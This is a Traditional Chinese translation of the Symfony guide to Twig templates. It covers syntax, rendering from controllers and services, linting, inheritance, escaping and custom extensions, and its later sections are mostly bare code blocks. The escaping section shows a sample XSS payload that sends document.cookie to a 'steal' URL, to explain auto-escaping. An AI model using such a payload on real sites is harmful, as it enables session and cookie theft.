跳到內容

建立和使用模板

編輯此頁面

無論您需要從控制器渲染 HTML,還是產生電子郵件內容,模板都是從應用程式內部組織和渲染 HTML 的最佳方式。Symfony 中的模板是使用 Twig 建立的:這是一個彈性、快速且安全的模板引擎。

安裝

在使用Symfony Flex的應用程式中,執行以下命令來安裝 Twig 語言支援及其與 Symfony 應用程式的整合

1
$ composer require symfony/twig-bundle

Twig 模板語言

Twig模板語言讓您可以編寫簡潔、易讀的模板,這些模板對網頁設計師更友善,並且在某些方面比 PHP 模板更強大。看看以下 Twig 模板範例。即使這是您第一次看到 Twig,您可能也能理解大部分內容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!DOCTYPE html>
<html>
    <head>
        <title>Welcome to Symfony!</title>
    </head>
    <body>
        <h1>{{ page_title }}</h1>

        {% if user.isLoggedIn %}
            Hello {{ user.name }}!
        {% endif %}

        {# ... #}
    </body>
</html>

Twig 語法基於以下三個結構

  • {{ ... }},用於顯示變數的內容或評估表達式的結果;
  • {% ... %},用於執行一些邏輯,例如條件式或迴圈;
  • {# ... #},用於在模板中新增註解(與 HTML 註解不同,這些註解不會包含在渲染的頁面中)。

您無法在 Twig 模板中執行 PHP 程式碼,但 Twig 提供了在模板中執行某些邏輯的工具。例如,篩選器會在內容渲染之前修改內容,例如將內容轉換為大寫的upper篩選器

1
{{ title|upper }}

Twig 預設提供了一長串的標籤篩選器函數。在 Symfony 應用程式中,您也可以使用這些Symfony 定義的 Twig 篩選器和函數,並且您可以建立您自己的 Twig 篩選器和函數

Twig 在prod 環境中速度很快(因為模板會編譯成 PHP 並自動快取),但在dev環境中使用起來很方便(因為當您變更模板時,模板會自動重新編譯)。

Twig 設定

Twig 有幾個設定選項可以定義數字和日期顯示格式、模板快取等。請閱讀Twig 設定參考以了解它們。

建立模板

在詳細說明如何建立和渲染模板之前,請先查看以下範例,快速了解整個流程。首先,您需要在templates/目錄中建立一個新檔案來儲存模板內容

1
2
3
{# templates/user/notifications.html.twig #}
<h1>Hello {{ user_first_name }}!</h1>
<p>You have {{ notifications|length }} new notifications.</p>

然後,建立一個控制器,渲染此模板並將所需的變數傳遞給它

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// src/Controller/UserController.php
namespace App\Controller;

use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Response;

class UserController extends AbstractController
{
    // ...

    public function notifications(): Response
    {
        // get the user information and notifications somehow
        $userFirstName = '...';
        $userNotifications = ['...', '...'];

        // the template path is the relative file path from `templates/`
        return $this->render('user/notifications.html.twig', [
            // this array defines the variables passed to the template,
            // where the key is the variable name and the value is the variable value
            // (Twig recommends using snake_case variable names: 'foo_bar' instead of 'fooBar')
            'user_first_name' => $userFirstName,
            'notifications' => $userNotifications,
        ]);
    }
}

模板命名

Symfony 建議以下模板名稱命名方式

  • 檔案名稱和目錄使用蛇底式命名法(例如blog_posts.html.twigadmin/default_theme/blog/index.html.twig等);
  • 為檔案名稱定義兩個副檔名(例如index.html.twigblog_posts.xml.twig),第一個副檔名(htmlxml等)是模板將產生的最終格式。

雖然模板通常產生 HTML 內容,但它們可以產生任何基於文字的格式。這就是為什麼雙副檔名慣例簡化了為多種格式建立和渲染模板的方式。

模板位置

模板預設儲存在templates/目錄中。當服務或控制器渲染product/index.html.twig模板時,它們實際上是指<your-project>/templates/product/index.html.twig檔案。

預設模板目錄可以使用twig.default_path選項進行設定,您也可以新增更多模板目錄,如本文稍後說明

模板變數

模板的常見需求是列印從控制器或服務傳遞的模板中儲存的值。變數通常儲存物件和陣列,而不是字串、數字和布林值。這就是為什麼 Twig 提供對複雜 PHP 變數的快速存取。請考慮以下模板

1
<p>{{ user.name }} added this comment on {{ comment.publishedAt|date }}</p>

user.name表示法表示您想要顯示儲存在變數(user)中的某些資訊(name)。user是陣列還是物件?name是屬性還是方法?在 Twig 中,這並不重要。

當使用foo.bar表示法時,Twig 會嘗試依以下順序取得變數的值

  1. $foo['bar'](陣列和元素);
  2. $foo->bar(物件和公用屬性);
  3. $foo->bar()(物件和公用方法);
  4. $foo->getBar()(物件和getter方法);
  5. $foo->isBar()(物件和isser方法);
  6. $foo->hasBar()(物件和hasser方法);
  7. 如果以上都不存在,則使用null(如果啟用strict_variables選項,則拋出Twig\Error\RuntimeError例外)。

這允許在不必變更模板程式碼的情況下演進您的應用程式程式碼(您可以從應用程式概念驗證的陣列變數開始,然後移至具有方法的物件等)

連結到頁面

不要手動編寫連結 URL,而是使用path()函數根據路由設定產生 URL。

稍後,如果您想要修改特定頁面的 URL,您只需要變更路由設定:模板將自動產生新的 URL。

請考慮以下路由設定

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// src/Controller/BlogController.php
namespace App\Controller;

// ...
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\Routing\Attribute\Route;

class BlogController extends AbstractController
{
    #[Route('/', name: 'blog_index')]
    public function index(): Response
    {
        // ...
    }

    #[Route('/article/{slug}', name: 'blog_post')]
    public function show(string $slug): Response
    {
        // ...
    }
}

使用path() Twig 函數連結到這些頁面,並將路由名稱作為第一個引數,將路由參數作為選用的第二個引數傳遞

1
2
3
4
5
6
7
8
9
10
11
<a href="{{ path('blog_index') }}">Homepage</a>

{# ... #}

{% for post in blog_posts %}
    <h1>
        <a href="{{ path('blog_post', {slug: post.slug}) }}">{{ post.title }}</a>
    </h1>

    <p>{{ post.excerpt }}</p>
{% endfor %}

path()函數產生相對 URL。如果您需要產生絕對 URL(例如,在渲染電子郵件或 RSS 饋送的模板時),請使用url()函數,其引數與path()相同(例如<a href="{{ url('blog_index') }}"> ... </a>)。

連結到 CSS、JavaScript 和圖片素材

如果模板需要連結到靜態素材(例如圖片),Symfony 提供asset() Twig 函數來協助產生該 URL。首先,安裝asset套件

1
$ composer require symfony/asset

您現在可以使用asset()函數

1
2
3
4
5
6
7
8
{# the image lives at "public/images/logo.png" #}
<img src="{{ asset('images/logo.png') }}" alt="Symfony!"/>

{# the CSS file lives at "public/css/blog.css" #}
<link href="{{ asset('css/blog.css') }}" rel="stylesheet"/>

{# the JS file lives at "public/bundles/acme/js/loader.js" #}
<script src="{{ asset('bundles/acme/js/loader.js') }}"></script>

asset()函數的主要目的是讓您的應用程式更具可攜性。如果您的應用程式位於主機的根目錄(例如https://example.com),則渲染的路徑應為/images/logo.png。但如果您的應用程式位於子目錄中(例如https://example.com/my_app),則每個素材路徑都應使用子目錄渲染(例如/my_app/images/logo.png)。asset()函數會處理此問題,方法是判斷您的應用程式的使用方式,並據此產生正確的路徑。

提示

asset()函數透過versionversion_formatjson_manifest_path設定選項,支援各種快取清除技術。

如果您需要素材的絕對 URL,請使用absolute_url() Twig 函數,如下所示

1
2
3
<img src="{{ absolute_url(asset('images/logo.png')) }}" alt="Symfony!"/>

<link rel="shortcut icon" href="{{ absolute_url('favicon.png') }}">

建置、版本控制和更進階的 CSS、JavaScript 和圖片處理

如需以現代方式建置和版本控制 JavaScript 和 CSS 素材的協助,請閱讀關於Symfony 的 AssetMapper

App 全域變數

Symfony 建立了一個環境物件,該物件會自動作為名為app的變數注入到每個 Twig 模板中。它提供對某些應用程式資訊的存取

1
2
3
4
5
<p>Username: {{ app.user.username ?? 'Anonymous user' }}</p>
{% if app.debug %}
    <p>Request method: {{ app.request.method }}</p>
    <p>Application Environment: {{ app.environment }}</p>
{% endif %}

app變數(它是AppVariable的實例)讓您可以存取這些變數

app.user
目前使用者物件,如果使用者未通過驗證,則為null
app.request
Request物件,用於儲存目前的請求資料(根據您的應用程式,這可以是子請求或常規請求)。
app.session
Session物件,表示目前的使用者工作階段,如果沒有工作階段,則為null
app.flashes
儲存在工作階段中的所有快閃訊息的陣列。您也可以僅取得某些類型的訊息(例如app.flashes('notice'))。
app.environment
目前設定環境的名稱(devprod等)。
app.debug
如果在除錯模式下,則為 True。否則為 False。
app.token
表示安全權杖的TokenInterface物件。
app.current_route
與目前請求關聯的路由名稱,如果沒有請求可用,則為null(相當於app.request.attributes.get('_route')
app.current_route_parameters
包含傳遞給目前請求路由的參數的陣列,如果沒有請求可用,則為空陣列(相當於app.request.attributes.get('_route_params')
app.locale
目前語系切換器環境中使用的語系。
app.enabled_locales
應用程式中啟用的語系。

除了 Symfony 注入的全域app變數之外,您也可以將變數自動注入到所有 Twig 模板中,如下一節所述。

全域變數

Twig 允許您自動將一個或多個變數注入到所有模板中。這些全域變數在主要的 Twig 設定檔內的twig.globals選項中定義

1
2
3
4
5
# config/packages/twig.yaml
twig:
    # ...
    globals:
        ga_tracking: 'UA-xxxxx-x'

現在,ga_tracking變數在所有 Twig 模板中都可用,因此您可以使用它,而無需從渲染模板的控制器或服務明確傳遞它

1
<p>The Google tracking code is: {{ ga_tracking }}</p>

除了靜態值之外,Twig 全域變數也可以參考服務容器中的服務。主要的缺點是這些服務不會延遲載入。換句話說,一旦載入 Twig,您的服務就會被實例化,即使您從未使用過該全域變數。

若要將服務定義為全域 Twig 變數,請在服務 ID 字串前面加上@字元,這是在容器參數中參考服務的常用語法

1
2
3
4
5
6
# config/packages/twig.yaml
twig:
    # ...
    globals:
        # the value is the service's id
        uuid: '@App\Generator\UuidGenerator'

現在您可以在任何 Twig 模板中使用uuid變數來存取UuidGenerator服務

1
UUID: {{ uuid.generate }}

Twig 組件

Twig 組件是渲染模板的另一種方式,其中每個模板都繫結到「組件類別」。這使得渲染和重複使用小型模板「單元」(例如警示、模式標記或類別側邊欄)變得更容易。

如需更多資訊,請參閱UX Twig Component

Twig 組件還有一種超能力:它們可以變成「即時」的,它們會隨著使用者與它們互動而自動更新(透過 Ajax)。例如,當您的使用者在方塊中輸入內容時,您的 Twig 組件將透過 Ajax 重新渲染以顯示結果清單!

若要深入了解,請參閱UX Live Component

渲染模板

在控制器中渲染模板

如果您的控制器從AbstractController擴展而來,請使用render() helper

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// src/Controller/ProductController.php
namespace App\Controller;

use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Response;

class ProductController extends AbstractController
{
    public function index(): Response
    {
        // ...

        // the `render()` method returns a `Response` object with the
        // contents created by the template
        return $this->render('product/index.html.twig', [
            'category' => '...',
            'promotions' => ['...', '...'],
        ]);

        // the `renderView()` method only returns the contents created by the
        // template, so you can use those contents later in a `Response` object
        $contents = $this->renderView('product/index.html.twig', [
            'category' => '...',
            'promotions' => ['...', '...'],
        ]);

        return new Response($contents);
    }
}

如果您的控制器未從AbstractController擴展而來,您需要在您的控制器中提取服務並使用twig服務的render()方法。

另一種選項是在控制器方法上使用#[Template]屬性來定義要渲染的模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// src/Controller/ProductController.php
namespace App\Controller;

use Symfony\Bridge\Twig\Attribute\Template;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Response;

class ProductController extends AbstractController
{
    #[Template('product/index.html.twig')]
    public function index(): array
    {
        // ...

        // when using the #[Template] attribute, you only need to return
        // an array with the parameters to pass to the template (the attribute
        // is the one which will create and return the Response object).
        return [
            'category' => '...',
            'promotions' => ['...', '...'],
        ];
    }
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// src/Controller/ProductController.php
namespace App\Controller;

use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Response;

class ProductController extends AbstractController
{
    // ...

    public function price(): Response
    {
        // ...

        // the `renderBlock()` method returns a `Response` object with the
        // block contents
        return $this->renderBlock('product/index.html.twig', 'price_block', [
            // ...
        ]);

        // the `renderBlockView()` method only returns the contents created by the
        // template block, so you can use those contents later in a `Response` object
        $contents = $this->renderBlockView('product/index.html.twig', 'price_block', [
            // ...
        ]);

        return new Response($contents);
    }
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// src/Controller/ProductController.php
namespace App\Controller;

use Symfony\Bridge\Twig\Attribute\Template;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Response;

class ProductController extends AbstractController
{
    #[Template('product.html.twig', block: 'price_block')]
    public function price(): array
    {
        return [
            // ...
        ];
    }
}

7.2

在服務中渲染模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// src/Service/SomeService.php
namespace App\Service;

use Twig\Environment;

class SomeService
{
    public function __construct(
        private Environment $twig,
    ) {
    }

    public function someMethod(): void
    {
        // ...

        $htmlContents = $this->twig->render('product/index.html.twig', [
            'category' => '...',
            'promotions' => ['...', '...'],
        ]);
    }
}

直接從路由渲染模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# config/routes.yaml
acme_privacy:
    path:          /privacy
    controller:    Symfony\Bundle\FrameworkBundle\Controller\TemplateController
    defaults:
        # the path of the template to render
        template:  'static/privacy.html.twig'

        # the response status code (default: 200)
        statusCode: 200

        # special options defined by Symfony to set the page cache
        maxAge:    86400
        sharedAge: 86400

        # whether or not caching should apply for client caches only
        private: true

        # optionally you can define some arguments passed to the template
        context:
            site_name: 'ACME'
            theme: 'dark'

        # optionally you can define HTTP headers to add to the response
        headers:
            Content-Type: 'text/html'
            foo: 'bar'

7.2

檢查模板是否存在

1
2
3
4
5
6
7
8
9
10
11
use Twig\Environment;

class YourService
{
    // this code assumes that your service uses autowiring to inject dependencies
    // otherwise, inject the service called 'twig' manually
    public function __construct(Environment $twig)
    {
        $loader = $twig->getLoader();
    }
}

1
2
3
4
if ($loader->exists('theme/layout_responsive.html.twig')) {
    // the template exists, do something
    // ...
}

除錯模板

Lint Twig 模板

1
2
3
4
5
6
7
8
9
10
11
12
# check all the application templates
$ php bin/console lint:twig

# you can also check directories and individual templates
$ php bin/console lint:twig templates/email/
$ php bin/console lint:twig templates/article/recent_list.html.twig

# you can also show the deprecated features used in your templates
$ php bin/console lint:twig --show-deprecations templates/email/

# you can also excludes directories
$ php bin/console lint:twig templates/ --excludes=data_collector --excludes=dev_tool

7.1

1
$ php bin/console lint:twig --format=github

檢查 Twig 資訊

1
2
3
4
5
6
7
8
# list general information
$ php bin/console debug:twig

# filter output by any keyword
$ php bin/console debug:twig --filter=date

# pass a template path to show the physical file which will be loaded
$ php bin/console debug:twig @Twig/Exception/error.html.twig

Dump Twig 工具

1
$ composer require --dev symfony/debug-bundle

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
{# templates/article/recent_list.html.twig #}
{# the contents of this variable are sent to the Web Debug Toolbar
   instead of dumping them inside the page contents #}
{% dump articles %}

{% for article in articles %}
    {# the contents of this variable are dumped inside the page contents
       and they are visible on the web page #}
    {{ dump(article) }}

    {# optionally, use named arguments to display them as labels next to
       the dumped contents #}
    {{ dump(blog_posts: articles, user: app.user) }}

    <a href="/article/{{ article.slug }}">
        {{ article.title }}
    </a>
{% endfor %}

重複使用模板內容

包含模板

1
2
3
4
5
6
7
{# templates/blog/index.html.twig #}

{# ... #}
<div class="user-profile">
    <img src="{{ user.profileImageUrl }}" alt="{{ user.fullName }}"/>
    <p>{{ user.fullName }} - {{ user.email }}</p>
</div>

1
2
3
4
{# templates/blog/index.html.twig #}

{# ... #}
{{ include('blog/_user_profile.html.twig') }}

1
2
3
4
{# templates/blog/index.html.twig #}

{# ... #}
{{ include('blog/_user_profile.html.twig', {user: blog_post.author}) }}

嵌入控制器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// src/Controller/BlogController.php
namespace App\Controller;

use Symfony\Component\HttpFoundation\Response;
// ...

class BlogController extends AbstractController
{
    public function recentArticles(int $max = 3): Response
    {
        // get the recent articles somehow (e.g. making a database query)
        $articles = ['...', '...', '...'];

        return $this->render('blog/_recent_articles.html.twig', [
            'articles' => $articles
        ]);
    }
}

1
2
3
4
5
6
{# templates/blog/_recent_articles.html.twig #}
{% for article in articles %}
    <a href="{{ path('blog_show', {slug: article.slug}) }}">
        {{ article.title }}
    </a>
{% endfor %}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{# templates/base.html.twig #}

{# ... #}
<div id="sidebar">
    {# if the controller is associated with a route, use the path() or url() functions #}
    {{ render(path('latest_articles', {max: 3})) }}
    {{ render(url('latest_articles', {max: 3})) }}

    {# if you don't want to expose the controller with a public URL,
       use the controller() function to define the controller to execute #}
    {{ render(controller(
        'App\\Controller\\BlogController::recentArticles', {max: 3}
    )) }}
</div>

1
2
3
4
# config/packages/framework.yaml
framework:
    # ...
    fragments: { path: /_fragment }

如何使用 hinclude.js 嵌入非同步內容

1
2
{{ render_hinclude(controller('...')) }}
{{ render_hinclude(url('...')) }}

1
2
3
4
5
# config/packages/framework.yaml
framework:
    # ...
    fragments:
        hinclude_default_template: hinclude.html.twig

1
2
3
{{ render_hinclude(controller('...'),  {
    default: 'default/content.html.twig'
}) }}

1
{{ render_hinclude(controller('...'), {default: 'Loading...'}) }}

1
2
3
4
5
6
7
{# by default, cross-site requests don't use credentials such as cookies, authorization
   headers or TLS client certificates; set this option to 'true' to use them #}
{{ render_hinclude(controller('...'), {attributes: {'data-with-credentials': 'true'}}) }}

{# by default, the JavaScript code included in the loaded contents is not run;
   set this option to 'true' to run that JavaScript code #}
{{ render_hinclude(controller('...'), {attributes: {evaljs: 'true'}}) }}

模板繼承和版面配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
{# templates/base.html.twig #}
<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <title>{% block title %}My Application{% endblock %}</title>
        {% block stylesheets %}
            <link rel="stylesheet" type="text/css" href="/css/base.css"/>
        {% endblock %}
    </head>
    <body>
        {% block body %}
            <div id="sidebar">
                {% block sidebar %}
                    <ul>
                        <li><a href="{{ path('homepage') }}">Home</a></li>
                        <li><a href="{{ path('blog_index') }}">Blog</a></li>
                    </ul>
                {% endblock %}
            </div>

            <div id="content">
                {% block content %}{% endblock %}
            </div>
        {% endblock %}
    </body>
</html>

1
2
3
4
5
6
7
8
{# templates/blog/layout.html.twig #}
{% extends 'base.html.twig' %}

{% block content %}
    <h1>Blog</h1>

    {% block page_contents %}{% endblock %}
{% endblock %}

1
2
3
4
5
6
7
8
9
10
11
{# templates/blog/index.html.twig #}
{% extends 'blog/layout.html.twig' %}

{% block title %}Blog Index{% endblock %}

{% block page_contents %}
    {% for article in articles %}
        <h2>{{ article.title }}</h2>
        <p>{{ article.body }}</p>
    {% endfor %}
{% endblock %}

1
2
3
4
5
6
7
8
{# templates/blog/index.html.twig #}
{% extends 'base.html.twig' %}

{# the line below is not captured by a "block" tag #}
<div class="alert">Some Alert</div>

{# the following is valid #}
{% block content %}My cool blog posts{% endblock %}

輸出跳脫和 XSS 攻擊

1
2
3
4
My Name
<script type="text/javascript">
    document.write('<img src="https://example.com/steal?cookie=' + encodeURIComponent(document.cookie) + '" style="display:none;">');
</script>

1
2
3
<p>Hello {{ name }}</p>
{# if 'name' is '<script>alert('hello!')</script>', Twig will output this:
   '<p>Hello &lt;script&gt;alert(&#39;hello!&#39;)&lt;/script&gt;</p>' #}

1
2
3
<h1>{{ product.title|raw }}</h1>
{# if 'product.title' is 'Lorem <strong>Ipsum</strong>', Twig will output
   exactly that instead of 'Lorem &lt;strong&gt;Ipsum&lt;/strong&gt;' #}

模板命名空間

1
2
3
4
5
6
7
8
# config/packages/twig.yaml
twig:
    # ...
    paths:
        # directories are relative to the project root dir (but you
        # can also use absolute directories)
        'email/default/templates': ~
        'backend/templates': ~

1
2
3
4
5
6
# config/packages/twig.yaml
twig:
    # ...
    paths:
        'email/default/templates': 'email'
        'backend/templates': 'admin'

套件模板

提示

編寫 Twig 擴展

建立擴展類別

1
2
3
4
{{ product.price|price }}

{# pass in the 3 optional arguments #}
{{ product.price|price(2, ',', '.') }}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// src/Twig/AppExtension.php
namespace App\Twig;

use Twig\Extension\AbstractExtension;
use Twig\TwigFilter;

class AppExtension extends AbstractExtension
{
    public function getFilters(): array
    {
        return [
            new TwigFilter('price', [$this, 'formatPrice']),
        ];
    }

    public function formatPrice(float $number, int $decimals = 0, string $decPoint = '.', string $thousandsSep = ','): string
    {
        $price = number_format($number, $decimals, $decPoint, $thousandsSep);
        $price = '$'.$price;

        return $price;
    }
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// src/Twig/AppExtension.php
namespace App\Twig;

use Twig\Extension\AbstractExtension;
use Twig\TwigFunction;

class AppExtension extends AbstractExtension
{
    public function getFunctions(): array
    {
        return [
            new TwigFunction('area', [$this, 'calculateArea']),
        ];
    }

    public function calculateArea(int $width, int $length): int
    {
        return $width * $length;
    }
}

提示

1
2
3
4
5
# display all information about Twig
$ php bin/console debug:twig

# display only the information about a specific filter
$ php bin/console debug:twig --filter=price

建立延遲載入的 Twig 擴展

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// src/Twig/AppExtension.php
namespace App\Twig;

use App\Twig\AppRuntime;
use Twig\Extension\AbstractExtension;
use Twig\TwigFilter;

class AppExtension extends AbstractExtension
{
    public function getFilters(): array
    {
        return [
            // the logic of this filter is now implemented in a different class
            new TwigFilter('price', [AppRuntime::class, 'formatPrice']),
        ];
    }
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// src/Twig/AppRuntime.php
namespace App\Twig;

use Twig\Extension\RuntimeExtensionInterface;

class AppRuntime implements RuntimeExtensionInterface
{
    public function __construct()
    {
        // this simple example doesn't define any dependency, but in your own
        // extensions, you'll need to inject services using this constructor
    }

    public function formatPrice(float $number, int $decimals = 0, string $decPoint = '.', string $thousandsSep = ','): string
    {
        $price = number_format($number, $decimals, $decPoint, $thousandsSep);
        $price = '$'.$price;

        return $price;
    }
}

    版本